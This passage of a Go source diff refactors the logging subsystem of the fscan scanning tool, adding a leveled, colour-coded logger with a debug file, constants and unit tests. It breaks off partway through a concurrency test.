||||
var activeParam string
|
||||
|
||||
fv := GetFlagVars()
|
||||
|
||||
if info.Host != "" {
|
||||
paramCount++
|
||||
activeParam = "-h"
|
||||
}
|
||||
if fv.TargetURL != "" {
|
||||
paramCount++
|
||||
if activeParam != "" {
|
||||
activeParam += " 和 -u"
|
||||
} else {
|
||||
activeParam = "-u"
|
||||
}
|
||||
}
|
||||
if fv.LocalPlugin != "" {
|
||||
paramCount++
|
||||
if activeParam != "" {
|
||||
activeParam += " 和 -local"
|
||||
} else {
|
||||
activeParam = "-local"
|
||||
}
|
||||
}
|
||||
|
||||
if paramCount > 1 {
|
||||
return fmt.Errorf("参数 %s 互斥,请只指定一个扫描目标\n -h: 网络主机扫描\n -u: Web URL扫描\n -local: 本地信息收集", activeParam)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// Cleanup 清理资源
|
||||
func Cleanup() error {
|
||||
return CloseOutput()
|
||||
}
|
||||
@@ -1,66 +0,0 @@
|
||||
package common
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"time"
|
||||
)
|
||||
|
||||
var Results = make(chan string)
|
||||
var Woker = 0
|
||||
var Start = true
|
||||
var LogSucTime int64
|
||||
var LogErr bool
|
||||
var LogErrTime int64
|
||||
|
||||
func LogSuccess(result string) {
|
||||
Woker++
|
||||
LogSucTime = time.Now().Unix()
|
||||
if Start {
|
||||
go SaveLog()
|
||||
Start = false
|
||||
}
|
||||
Results <- result
|
||||
}
|
||||
|
||||
func SaveLog() {
|
||||
for result := range Results {
|
||||
fmt.Println(result)
|
||||
if IsSave {
|
||||
WriteFile(result, Outputfile)
|
||||
}
|
||||
Woker--
|
||||
}
|
||||
}
|
||||
|
||||
func WriteFile(result string, filename string) {
|
||||
var text = []byte(result + "\n")
|
||||
fl, err := os.OpenFile(filename, os.O_WRONLY|os.O_CREATE|os.O_APPEND, 0777)
|
||||
if err != nil {
|
||||
fmt.Println("Open %s error, %v", filename, err)
|
||||
return
|
||||
}
|
||||
_, err = fl.Write(text)
|
||||
fl.Close()
|
||||
if err != nil {
|
||||
fmt.Println("write %s error, %v", filename, err)
|
||||
}
|
||||
}
|
||||
|
||||
func WaitSave() {
|
||||
for {
|
||||
if Woker == 0 {
|
||||
close(Results)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func LogError(errinfo interface{}) {
|
||||
if LogErr {
|
||||
if (time.Now().Unix()-LogSucTime) > 10 && (time.Now().Unix()-LogErrTime) > 10 {
|
||||
fmt.Println(errinfo)
|
||||
LogErrTime = time.Now().Unix()
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,90 @@
|
||||
package common
|
||||
|
||||
/*
|
||||
logger.go - 日志系统简化接口
|
||||
|
||||
提供统一的日志API,底层使用logging包实现。
|
||||
*/
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
"github.com/shadow1ng/fscan/common/logging"
|
||||
)
|
||||
|
||||
var (
|
||||
globalLogger *logging.Logger
|
||||
loggerOnce sync.Once
|
||||
)
|
||||
|
||||
func getGlobalLogger() *logging.Logger {
|
||||
loggerOnce.Do(func() {
|
||||
fv := GetFlagVars()
|
||||
level := getLogLevelFromString(fv.LogLevel)
|
||||
config := &logging.LoggerConfig{
|
||||
Level: level,
|
||||
EnableColor: !fv.NoColor,
|
||||
SlowOutput: false,
|
||||
ShowProgress: !fv.DisableProgress,
|
||||
Silent: fv.Silent,
|
||||
StartTime: GetGlobalState().GetStartTime(),
|
||||
}
|
||||
if fv.Debug {
|
||||
config.DebugLogFile = "fscan_debug.log"
|
||||
}
|
||||
globalLogger = logging.NewLogger(config)
|
||||
globalLogger.SetCoordinatedOutput(LogWithProgress)
|
||||
})
|
||||
return globalLogger
|
||||
}
|
||||
|
||||
func getLogLevelFromString(levelStr string) logging.LogLevel {
|
||||
switch strings.ToLower(levelStr) {
|
||||
case "all":
|
||||
return logging.LevelAll
|
||||
case "error":
|
||||
return logging.LevelError
|
||||
case "base":
|
||||
return logging.LevelBase
|
||||
case "info":
|
||||
return logging.LevelInfo
|
||||
case "success":
|
||||
return logging.LevelSuccess
|
||||
case "debug":
|
||||
return logging.LevelDebug
|
||||
case "info,success":
|
||||
return logging.LevelInfoSuccess
|
||||
case "base,info,success", "base_info_success":
|
||||
return logging.LevelBaseInfoSuccess
|
||||
default:
|
||||
return logging.LevelInfoSuccess
|
||||
}
|
||||
}
|
||||
|
||||
// InitLogger 初始化日志系统
|
||||
func InitLogger() {
|
||||
getGlobalLogger().Initialize()
|
||||
}
|
||||
|
||||
// LogDebug 输出调试日志
|
||||
func LogDebug(msg string) { getGlobalLogger().Debug(msg) }
|
||||
|
||||
// LogInfo 输出信息日志
|
||||
func LogInfo(msg string) { getGlobalLogger().Info(msg) }
|
||||
|
||||
// LogSuccess 输出成功日志(Web指纹等)
|
||||
func LogSuccess(result string) { getGlobalLogger().Success(result) }
|
||||
|
||||
// LogVuln 输出漏洞/重要发现日志(密码成功、漏洞等)
|
||||
func LogVuln(result string) { getGlobalLogger().Vuln(result) }
|
||||
|
||||
// LogError 输出错误日志
|
||||
func LogError(errMsg string) { getGlobalLogger().Error(errMsg) }
|
||||
|
||||
// CloseLogger 关闭日志系统,释放文件资源
|
||||
func CloseLogger() {
|
||||
if globalLogger != nil {
|
||||
globalLogger.Close()
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,104 @@
|
||||
package logging
|
||||
|
||||
/*
|
||||
constants.go - 日志系统常量定义
|
||||
|
||||
统一管理common/logging包中的所有常量,便于查看和编辑。
|
||||
*/
|
||||
|
||||
import (
|
||||
"time"
|
||||
|
||||
"github.com/fatih/color"
|
||||
)
|
||||
|
||||
// =============================================================================
|
||||
// 日志级别常量 - 层级设计
|
||||
// =============================================================================
|
||||
|
||||
// LogLevel 日志级别类型(数值越小越详细)
|
||||
type LogLevel int
|
||||
|
||||
// 定义系统支持的日志级别常量(层级:Debug < Base < Info < Success < Vuln < Error)
|
||||
const (
|
||||
LevelDebug LogLevel = 0 // 调试信息(最详细)
|
||||
LevelBase LogLevel = 1 // 基础信息(扫描进度等)
|
||||
LevelInfo LogLevel = 2 // 一般信息(端口开放、服务识别等)
|
||||
LevelSuccess LogLevel = 3 // 成功结果(Web指纹等)
|
||||
LevelVuln LogLevel = 4 // 重要发现(弱密码、漏洞等)
|
||||
LevelError LogLevel = 5 // 错误信息(始终显示)
|
||||
)
|
||||
|
||||
// 向后兼容的别名
|
||||
const (
|
||||
LevelAll LogLevel = LevelDebug // ALL 等同于 Debug(显示所有)
|
||||
LevelInfoSuccess LogLevel = LevelInfo // 废弃,映射到 Info
|
||||
LevelBaseInfoSuccess LogLevel = LevelBase // 废弃,映射到 Base
|
||||
)
|
||||
|
||||
// =============================================================================
|
||||
// 时间显示常量 (从Formatter.go迁移)
|
||||
// =============================================================================
|
||||
|
||||
const (
|
||||
// MaxMillisecondDisplay 毫秒显示的最大时长
|
||||
MaxMillisecondDisplay = time.Second
|
||||
// MaxSecondDisplay 秒显示的最大时长
|
||||
MaxSecondDisplay = time.Minute
|
||||
// MaxMinuteDisplay 分钟显示的最大时长
|
||||
MaxMinuteDisplay = time.Hour
|
||||
|
||||
// SlowOutputDelay 慢速输出延迟
|
||||
SlowOutputDelay = 50 * time.Millisecond
|
||||
|
||||
// ProgressClearDelay 进度条清除延迟
|
||||
ProgressClearDelay = 10 * time.Millisecond
|
||||
)
|
||||
|
||||
// =============================================================================
|
||||
// 日志前缀常量 (从Formatter.go迁移)
|
||||
// =============================================================================
|
||||
|
||||
const (
|
||||
// PrefixDebug 调试日志前缀
|
||||
PrefixDebug = "[.]"
|
||||
// PrefixInfo 信息日志前缀
|
||||
PrefixInfo = "[*]"
|
||||
// PrefixSuccess 成功日志前缀
|
||||
PrefixSuccess = "[+]"
|
||||
// PrefixVuln 漏洞/重要发现前缀
|
||||
PrefixVuln = "[!]"
|
||||
// PrefixError 错误日志前缀
|
||||
PrefixError = "[-]"
|
||||
)
|
||||
|
||||
// =============================================================================
|
||||
// 默认配置常量
|
||||
// =============================================================================
|
||||
|
||||
const (
|
||||
// DefaultLevel 默认日志级别
|
||||
DefaultLevel = LevelAll
|
||||
// DefaultEnableColor 默认启用彩色输出
|
||||
DefaultEnableColor = true
|
||||
// DefaultSlowOutput 默认不启用慢速输出
|
||||
DefaultSlowOutput = false
|
||||
// DefaultShowProgress 默认显示进度条
|
||||
DefaultShowProgress = true
|
||||
)
|
||||
|
||||
// =============================================================================
|
||||
// 默认颜色映射
|
||||
// =============================================================================
|
||||
|
||||
// GetDefaultLevelColors 获取默认的日志级别颜色映射
|
||||
func GetDefaultLevelColors() map[LogLevel]interface{} {
|
||||
return map[LogLevel]interface{}{
|
||||
LevelError: color.FgYellow, // 错误日志显示黄色
|
||||
LevelVuln: color.FgRed, // 漏洞/重要发现显示红色(密码成功、漏洞等)
|
||||
LevelBase: color.FgWhite, // 基础日志显示白色(普通信息)
|
||||
LevelInfo: color.FgWhite, // 信息日志显示白色(普通信息)
|
||||
LevelSuccess: color.FgGreen, // 成功日志显示绿色(Web指纹等)
|
||||
LevelDebug: color.FgWhite, // 调试日志显示白色
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,259 @@
|
||||
package logging
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/fatih/color"
|
||||
)
|
||||
|
||||
// LogEntry 日志条目
|
||||
type LogEntry struct {
|
||||
Level LogLevel `json:"level"`
|
||||
Time time.Time `json:"time"`
|
||||
Content string `json:"content"`
|
||||
Source string `json:"source"`
|
||||
Metadata map[string]interface{} `json:"metadata"`
|
||||
}
|
||||
|
||||
// LoggerConfig 日志器配置
|
||||
type LoggerConfig struct {
|
||||
Level LogLevel `json:"level"`
|
||||
EnableColor bool `json:"enable_color"`
|
||||
SlowOutput bool `json:"slow_output"`
|
||||
ShowProgress bool `json:"show_progress"`
|
||||
Silent bool `json:"silent"`
|
||||
StartTime time.Time `json:"start_time"`
|
||||
LevelColors map[LogLevel]interface{} `json:"-"`
|
||||
DebugLogFile string `json:"debug_log_file"`
|
||||
}
|
||||
|
||||
// DefaultLoggerConfig 默认日志器配置
|
||||
func DefaultLoggerConfig() *LoggerConfig {
|
||||
return &LoggerConfig{
|
||||
Level: DefaultLevel,
|
||||
EnableColor: DefaultEnableColor,
|
||||
SlowOutput: DefaultSlowOutput,
|
||||
ShowProgress: DefaultShowProgress,
|
||||
StartTime: time.Now(),
|
||||
LevelColors: GetDefaultLevelColors(),
|
||||
}
|
||||
}
|
||||
|
||||
// Logger 简化的日志管理器
|
||||
type Logger struct {
|
||||
mu sync.RWMutex
|
||||
config *LoggerConfig
|
||||
startTime time.Time
|
||||
coordinatedOutput func(string)
|
||||
initialized bool
|
||||
debugFile *os.File
|
||||
}
|
||||
|
||||
// NewLogger 创建新的日志管理器
|
||||
func NewLogger(config *LoggerConfig) *Logger {
|
||||
if config == nil {
|
||||
config = DefaultLoggerConfig()
|
||||
}
|
||||
|
||||
l := &Logger{
|
||||
config: config,
|
||||
startTime: config.StartTime,
|
||||
initialized: true,
|
||||
}
|
||||
|
||||
if config.DebugLogFile != "" {
|
||||
f, err := os.OpenFile(config.DebugLogFile, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0644)
|
||||
if err == nil {
|
||||
l.debugFile = f
|
||||
}
|
||||
}
|
||||
|
||||
return l
|
||||
}
|
||||
|
||||
// Initialize 初始化日志器
|
||||
func (l *Logger) Initialize() {
|
||||
l.mu.Lock()
|
||||
defer l.mu.Unlock()
|
||||
l.initialized = true
|
||||
}
|
||||
|
||||
// SetCoordinatedOutput 设置协调输出函数
|
||||
func (l *Logger) SetCoordinatedOutput(outputFunc func(string)) {
|
||||
l.mu.Lock()
|
||||
defer l.mu.Unlock()
|
||||
l.coordinatedOutput = outputFunc
|
||||
}
|
||||
|
||||
// Debug 输出调试信息
|
||||
func (l *Logger) Debug(msg string) {
|
||||
l.log(LevelDebug, msg)
|
||||
}
|
||||
|
||||
// Base 输出基础信息
|
||||
func (l *Logger) Base(msg string) {
|
||||
l.log(LevelBase, msg)
|
||||
}
|
||||
|
||||
// Info 输出信息
|
||||
func (l *Logger) Info(msg string) {
|
||||
l.log(LevelInfo, msg)
|
||||
}
|
||||
|
||||
// Success 输出成功信息
|
||||
func (l *Logger) Success(msg string) {
|
||||
l.log(LevelSuccess, msg)
|
||||
}
|
||||
|
||||
// Vuln 输出漏洞/重要发现信息
|
||||
func (l *Logger) Vuln(msg string) {
|
||||
l.log(LevelVuln, msg)
|
||||
}
|
||||
|
||||
// Error 输出错误信息
|
||||
func (l *Logger) Error(msg string) {
|
||||
l.log(LevelError, msg)
|
||||
}
|
||||
|
||||
// log 内部日志处理方法
|
||||
func (l *Logger) log(level LogLevel, content string) {
|
||||
l.mu.Lock()
|
||||
defer l.mu.Unlock()
|
||||
|
||||
if l.config.Silent {
|
||||
return
|
||||
}
|
||||
|
||||
if !l.shouldLog(level) {
|
||||
return
|
||||
}
|
||||
|
||||
// 格式化消息:保留前缀,去掉时间戳
|
||||
prefix := l.getLevelPrefix(level)
|
||||
|
||||
// 处理多行内容:给每行加上前缀,然后作为一个整体输出
|
||||
if strings.Contains(content, "\n") {
|
||||
lines := strings.Split(content, "\n")
|
||||
var formattedLines []string
|
||||
for _, line := range lines {
|
||||
if line != "" {
|
||||
formattedLines = append(formattedLines, fmt.Sprintf("%s %s", prefix, line))
|
||||
}
|
||||
}
|
||||
logMsg := strings.Join(formattedLines, "\n")
|
||||
l.outputMessage(level, logMsg)
|
||||
} else {
|
||||
logMsg := fmt.Sprintf("%s %s", prefix, content)
|
||||
l.outputMessage(level, logMsg)
|
||||
}
|
||||
|
||||
// 写入debug日志文件(纯文本,无颜色)
|
||||
if l.debugFile != nil {
|
||||
timestamp := time.Since(l.startTime).Truncate(time.Millisecond)
|
||||
if strings.Contains(content, "\n") {
|
||||
lines := strings.Split(content, "\n")
|
||||
for _, line := range lines {
|
||||
if line != "" {
|
||||
_, _ = fmt.Fprintf(l.debugFile, "[%s] %s %s\n", timestamp, prefix, line)
|
||||
}
|
||||
}
|
||||
} else {
|
||||
_, _ = fmt.Fprintf(l.debugFile, "[%s] %s %s\n", timestamp, prefix, content)
|
||||
}
|
||||
}
|
||||
|
||||
// 根据慢速输出设置决定是否添加延迟
|
||||
if l.config.SlowOutput {
|
||||
time.Sleep(SlowOutputDelay)
|
||||
}
|
||||
}
|
||||
|
||||
// Close 关闭日志器,释放文件资源
|
||||
func (l *Logger) Close() {
|
||||
l.mu.Lock()
|
||||
defer l.mu.Unlock()
|
||||
if l.debugFile != nil {
|
||||
_ = l.debugFile.Close()
|
||||
l.debugFile = nil
|
||||
}
|
||||
}
|
||||
|
||||
// shouldLog 检查是否应该记录该级别的日志
|
||||
// 层级过滤:消息级别 >= 配置级别 时显示,Error 始终显示
|
||||
func (l *Logger) shouldLog(level LogLevel) bool {
|
||||
// Error 级别始终显示
|
||||
if level == LevelError {
|
||||
return true
|
||||
}
|
||||
// 层级过滤:消息级别 >= 配置级别
|
||||
return level >= l.config.Level
|
||||
}
|
||||
|
||||
// outputMessage 输出消息
|
||||
func (l *Logger) outputMessage(level LogLevel, logMsg string) {
|
||||
if l.coordinatedOutput != nil {
|
||||
// 使用协调输出(与进度条配合)
|
||||
if l.config.EnableColor {
|
||||
if colorAttr, ok := l.config.LevelColors[level]; ok {
|
||||
if attr, ok := colorAttr.(color.Attribute); ok {
|
||||
coloredMsg := color.New(attr).Sprint(logMsg)
|
||||
l.coordinatedOutput(coloredMsg)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
l.coordinatedOutput(logMsg)
|
||||
} else {
|
||||
// 直接输出
|
||||
if l.config.EnableColor {
|
||||
if colorAttr, ok := l.config.LevelColors[level]; ok {
|
||||
if attr, ok := colorAttr.(color.Attribute); ok {
|
||||
_, _ = color.New(attr).Println(logMsg)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
fmt.Println(logMsg)
|
||||
}
|
||||
}
|
||||
|
||||
// formatElapsedTime 格式化经过的时间
|
||||
func (l *Logger) formatElapsedTime(elapsed time.Duration) string {
|
||||
switch {
|
||||
case elapsed < MaxMillisecondDisplay:
|
||||
return fmt.Sprintf("%dms", elapsed.Milliseconds())
|
||||
case elapsed < MaxSecondDisplay:
|
||||
return fmt.Sprintf("%.1fs", elapsed.Seconds())
|
||||
case elapsed < MaxMinuteDisplay:
|
||||
minutes := int(elapsed.Minutes())
|
||||
seconds := int(elapsed.Seconds()) % 60
|
||||
return fmt.Sprintf("%dm%ds", minutes, seconds)
|
||||
default:
|
||||
hours := int(elapsed.Hours())
|
||||
minutes := int(elapsed.Minutes()) % 60
|
||||
seconds := int(elapsed.Seconds()) % 60
|
||||
return fmt.Sprintf("%dh%dm%ds", hours, minutes, seconds)
|
||||
}
|
||||
}
|
||||
|
||||
// getLevelPrefix 获取日志级别前缀
|
||||
func (l *Logger) getLevelPrefix(level LogLevel) string {
|
||||
switch level {
|
||||
case LevelDebug:
|
||||
return PrefixDebug
|
||||
case LevelInfo:
|
||||
return PrefixInfo
|
||||
case LevelSuccess:
|
||||
return PrefixSuccess
|
||||
case LevelVuln:
|
||||
return PrefixVuln
|
||||
case LevelError:
|
||||
return PrefixError
|
||||
default:
|
||||
return PrefixInfo // 默认使用 Info 前缀
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,652 @@
|
||||
package logging
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
"sync"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
/*
|
||||
logger_test.go - 日志系统测试
|
||||
|
||||
测试目标:Logger核心功能
|
||||
价值:日志是程序的眼睛,错误会导致:
|
||||
- 关键信息丢失(用户看不到错误)
|
||||
- 性能问题(并发日志混乱)
|
||||
- 调试困难(时间格式错误)
|
||||
|
||||
"日志不是可选功能。日志丢失或错误,等于程序在撒谎。
|
||||
测试必须验证:过滤正确、格式正确、并发安全。"
|
||||
*/
|
||||
|
||||
// =============================================================================
|
||||
// 测试辅助函数
|
||||
// =============================================================================
|
||||
|
||||
// captureOutput 捕获日志输出(不污染控制台)
|
||||
type captureOutput struct {
|
||||
mu sync.Mutex
|
||||
output []string
|
||||
}
|
||||
|
||||
func (c *captureOutput) Write(msg string) {
|
||||
c.mu.Lock()
|
||||
defer c.mu.Unlock()
|
||||
c.output = append(c.output, msg)
|
||||
}
|
||||
|
||||
func (c *captureOutput) Get() []string {
|
||||
c.mu.Lock()
|
||||
defer c.mu.Unlock()
|
||||
result := make([]string, len(c.output))
|
||||
copy(result, c.output)
|
||||
return result
|
||||
}
|
||||
|
||||
func (c *captureOutput) Clear() {
|
||||
c.mu.Lock()
|
||||
defer c.mu.Unlock()
|
||||
c.output = nil
|
||||
}
|
||||
|
||||
// createTestLogger 创建测试用Logger(捕获输出)
|
||||
func createTestLogger(level LogLevel, enableColor bool) (*Logger, *captureOutput) {
|
||||
capture := &captureOutput{}
|
||||
config := &LoggerConfig{
|
||||
Level: level,
|
||||
EnableColor: enableColor,
|
||||
SlowOutput: false, // 测试时禁用慢速输出
|
||||
ShowProgress: false,
|
||||
StartTime: time.Now(),
|
||||
LevelColors: GetDefaultLevelColors(),
|
||||
}
|
||||
logger := NewLogger(config)
|
||||
logger.SetCoordinatedOutput(capture.Write)
|
||||
return logger, capture
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// Logger - 基础功能测试
|
||||
// =============================================================================
|
||||
|
||||
// TestNewLogger_DefaultConfig 测试默认配置
|
||||
func TestNewLogger_DefaultConfig(t *testing.T) {
|
||||
// nil配置应该使用默认值
|
||||
logger := NewLogger(nil)
|
||||
|
||||
if logger == nil {
|
||||
t.Fatal("NewLogger(nil) 应该返回有效的logger")
|
||||
}
|
||||
|
||||
if logger.config == nil {
|
||||
t.Error("config不应为nil(应使用默认配置)")
|
||||
}
|
||||
|
||||
if logger.config.Level != DefaultLevel {
|
||||
t.Errorf("默认Level = %v, want %v", logger.config.Level, DefaultLevel)
|
||||
}
|
||||
|
||||
if !logger.initialized {
|
||||
t.Error("logger应该已初始化")
|
||||
}
|
||||
|
||||
t.Logf("✓ 默认配置测试通过")
|
||||
}
|
||||
|
||||
// TestNewLogger_CustomConfig 测试自定义配置
|
||||
func TestNewLogger_CustomConfig(t *testing.T) {
|
||||
config := &LoggerConfig{
|
||||
Level: LevelError,
|
||||
EnableColor: false,
|
||||
SlowOutput: true,
|
||||
ShowProgress: false,
|
||||
StartTime: time.Now(),
|
||||
LevelColors: GetDefaultLevelColors(),
|
||||
}
|
||||
|
||||
logger := NewLogger(config)
|
||||
|
||||
if logger.config.Level != LevelError {
|
||||
t.Errorf("Level = %v, want %v", logger.config.Level, LevelError)
|
||||
}
|
||||
|
||||
if logger.config.EnableColor {
|
||||
t.Error("EnableColor应该为false")
|
||||
}
|
||||
|
||||
t.Logf("✓ 自定义配置测试通过")
|
||||
}
|
||||
|
||||
// TestLogger_AllLevels 测试所有日志级别
|
||||
//
|
||||
// 验证:每个级别都能正确输出
|
||||
func TestLogger_AllLevels(t *testing.T) {
|
||||
logger, capture := createTestLogger(LevelAll, false)
|
||||
|
||||
tests := []struct {
|
||||
name string
|
||||
logFunc func(string)
|
||||
message string
|
||||
wantMsg string
|
||||
wantPfx string
|
||||
}{
|
||||
{
|
||||
name: "Debug级别",
|
||||
logFunc: logger.Debug,
|
||||
message: "debug message",
|
||||
wantMsg: "debug message",
|
||||
wantPfx: PrefixDebug,
|
||||
},
|
||||
{
|
||||
name: "Base级别",
|
||||
logFunc: logger.Base,
|
||||
message: "base message",
|
||||
wantMsg: "base message",
|
||||
wantPfx: PrefixInfo, // Base 已废弃,默认使用 Info 前缀
|
||||
},
|
||||
{
|
||||
name: "Info级别",
|
||||
logFunc: logger.Info,
|
||||
message: "info message",
|
||||
wantMsg: "info message",
|
||||
wantPfx: PrefixInfo,
|
||||
},
|
||||
{
|
||||
name: "Success级别",
|
||||
logFunc: logger.Success,
|
||||
message: "success message",
|
||||
wantMsg: "success message",
|
||||
wantPfx: PrefixSuccess,
|
||||
},
|
||||
{
|
||||
name: "Error级别",
|
||||
logFunc: logger.Error,
|
||||
message: "error message",
|
||||
wantMsg: "error message",
|
||||
wantPfx: PrefixError,
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
capture.Clear()
|
||||
tt.logFunc(tt.message)
|
||||
|
||||
output := capture.Get()
|
||||
if len(output) != 1 {
|
||||
t.Fatalf("期望1条输出,实际%d条", len(output))
|
||||
}
|
||||
|
||||
msg := output[0]
|
||||
if !strings.Contains(msg, tt.wantMsg) {
|
||||
t.Errorf("输出缺少消息: %s\n实际: %s", tt.wantMsg, msg)
|
||||
}
|
||||
|
||||
if !strings.Contains(msg, tt.wantPfx) {
|
||||
t.Errorf("输出缺少前缀: %s\n实际: %s", tt.wantPfx, msg)
|
||||
}
|
||||
|
||||
// 验证输出格式:前缀 + 空格 + 消息
|
||||
if !strings.HasPrefix(msg, tt.wantPfx) {
|
||||
t.Errorf("输出应该以前缀开头: %s\n实际: %s", tt.wantPfx, msg)
|
||||
}
|
||||
|
||||
t.Logf("✓ %s 输出正确: %s", tt.name, msg)
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// Logger - 级别过滤测试
|
||||
// =============================================================================
|
||||
|
||||
// TestLogger_LevelFiltering 测试日志级别过滤
|
||||
//
|
||||
// 验证:不同级别配置下,只输出对应级别的日志
|
||||
func TestLogger_LevelFiltering(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
configLevel LogLevel
|
||||
logLevels map[string]func(*Logger, string)
|
||||
wantOutput map[string]bool // true表示应该输出
|
||||
}{
|
||||
{
|
||||
name: "LevelAll - 显示所有",
|
||||
configLevel: LevelAll,
|
||||
logLevels: map[string]func(*Logger, string){
|
||||
"debug": (*Logger).Debug,
|
||||
"base": (*Logger).Base,
|
||||
"info": (*Logger).Info,
|
||||
"success": (*Logger).Success,
|
||||
"error": (*Logger).Error,
|
||||
},
|
||||
wantOutput: map[string]bool{
|
||||
"debug": true, "base": true, "info": true,
|
||||
"success": true, "error": true,
|
||||
},
|
||||
},
|
||||
{
|
||||
name: "LevelError - 仅错误",
|
||||
configLevel: LevelError,
|
||||
logLevels: map[string]func(*Logger, string){
|
||||
"info": (*Logger).Info,
|
||||
"error": (*Logger).Error,
|
||||
},
|
||||
wantOutput: map[string]bool{
|
||||
"info": false, "error": true,
|
||||
},
|
||||
},
|
||||
{
|
||||
name: "LevelInfoSuccess - 信息和成功",
|
||||
configLevel: LevelInfoSuccess,
|
||||
logLevels: map[string]func(*Logger, string){
|
||||
"base": (*Logger).Base,
|
||||
"info": (*Logger).Info,
|
||||
"success": (*Logger).Success,
|
||||
"error": (*Logger).Error,
|
||||
},
|
||||
wantOutput: map[string]bool{
|
||||
"base": false, "info": true,
|
||||
"success": true, "error": true, // Error 始终显示(层级设计)
|
||||
},
|
||||
},
|
||||
{
|
||||
name: "LevelBaseInfoSuccess - 基础、信息和成功",
|
||||
configLevel: LevelBaseInfoSuccess,
|
||||
logLevels: map[string]func(*Logger, string){
|
||||
"debug": (*Logger).Debug,
|
||||
"base": (*Logger).Base,
|
||||
"info": (*Logger).Info,
|
||||
"success": (*Logger).Success,
|
||||
},
|
||||
wantOutput: map[string]bool{
|
||||
"debug": false, "base": true,
|
||||
"info": true, "success": true,
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
logger, capture := createTestLogger(tt.configLevel, false)
|
||||
|
||||
for levelName, logFunc := range tt.logLevels {
|
||||
capture.Clear()
|
||||
logFunc(logger, levelName+" message")
|
||||
|
||||
output := capture.Get()
|
||||
shouldOutput := tt.wantOutput[levelName]
|
||||
|
||||
if shouldOutput && len(output) == 0 {
|
||||
t.Errorf("%s: 应该输出但没有输出", levelName)
|
||||
}
|
||||
if !shouldOutput && len(output) > 0 {
|
||||
t.Errorf("%s: 不应该输出但输出了: %v", levelName, output)
|
||||
}
|
||||
}
|
||||
|
||||
t.Logf("✓ %s 过滤测试通过", tt.name)
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// Logger - 时间格式化测试
|
||||
// =============================================================================
|
||||
|
||||
// TestLogger_TimeFormatting 测试时间格式化函数
|
||||
//
|
||||
// 验证:formatElapsedTime 对不同时长格式化正确(毫秒、秒、分钟、小时)
|
||||
func TestLogger_TimeFormatting(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
elapsed time.Duration
|
||||
wantStr string
|
||||
}{
|
||||
{
|
||||
name: "0毫秒",
|
||||
elapsed: 0,
|
||||
wantStr: "0ms",
|
||||
},
|
||||
{
|
||||
name: "500毫秒",
|
||||
elapsed: 500 * time.Millisecond,
|
||||
wantStr: "500ms",
|
||||
},
|
||||
{
|
||||
name: "999毫秒",
|
||||
elapsed: 999 * time.Millisecond,
|
||||
wantStr: "999ms",
|
||||
},
|
||||
{
|
||||
name: "1秒",
|
||||
elapsed: 1 * time.Second,
|
||||
wantStr: "1.0s",
|
||||
},
|
||||
{
|
||||
name: "30秒",
|
||||
elapsed: 30 * time.Second,
|
||||
wantStr: "30.0s",
|
||||
},
|
||||
{
|
||||
name: "59秒",
|
||||
elapsed: 59 * time.Second,
|
||||
wantStr: "59.0s",
|
||||
},
|
||||
{
|
||||
name: "1分钟",
|
||||
elapsed: 1 * time.Minute,
|
||||
wantStr: "1m0s",
|
||||
},
|
||||
{
|
||||
name: "5分30秒",
|
||||
elapsed: 5*time.Minute + 30*time.Second,
|
||||
wantStr: "5m30s",
|
||||
},
|
||||
{
|
||||
name: "59分59秒",
|
||||
elapsed: 59*time.Minute + 59*time.Second,
|
||||
wantStr: "59m59s",
|
||||
},
|
||||
{
|
||||
name: "1小时",
|
||||
elapsed: 1 * time.Hour,
|
||||
wantStr: "1h0m0s",
|
||||
},
|
||||
{
|
||||
name: "2小时30分45秒",
|
||||
elapsed: 2*time.Hour + 30*time.Minute + 45*time.Second,
|
||||
wantStr: "2h30m45s",
|
||||
},
|
||||
}
|
||||
|
||||
// 直接测试 formatElapsedTime 函数
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
logger := NewLogger(nil)
|
||||
result := logger.formatElapsedTime(tt.elapsed)
|
||||
|
||||
if result != tt.wantStr {
|
||||
t.Errorf("时间格式错误\n期望: %s\n实际: %s", tt.wantStr, result)
|
||||
}
|
||||
|
||||
t.Logf("✓ %s → %s", tt.name, result)
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// Logger - 并发安全测试
|
||||
// =============================================================================
|
||||
|
||||
// TestLogger_ConcurrentLogging 测试并发日志输出
|
||||
//
|
||||
// 验证:多个goroutine同时写日志不会panic或丢失
|
||||
func TestLogger_ConcurrentLogging(t *testing.T) {
|
||||
logger, capture := createTestLogger(LevelAll, false)
|
||||
|
||||
numGoroutines := 100
|
||||
logsPerGoroutine := 10
|
||||
totalLogs := numGoroutines * logsPerGoroutine
|
||||
|
||||
var wg sync.WaitGroup
|
||||
wg.Add(numGoroutines)
|
||||
|
||||
// 并发写入不同级别的日志
|
||||
for i := 0; i < numGoroutines; i++ {
|
||||
go func(id int) {
|
||||
defer wg.Done()
|
||||
|
||||
for j := 0; j < logsPerGoroutine; j++ {
|
||||
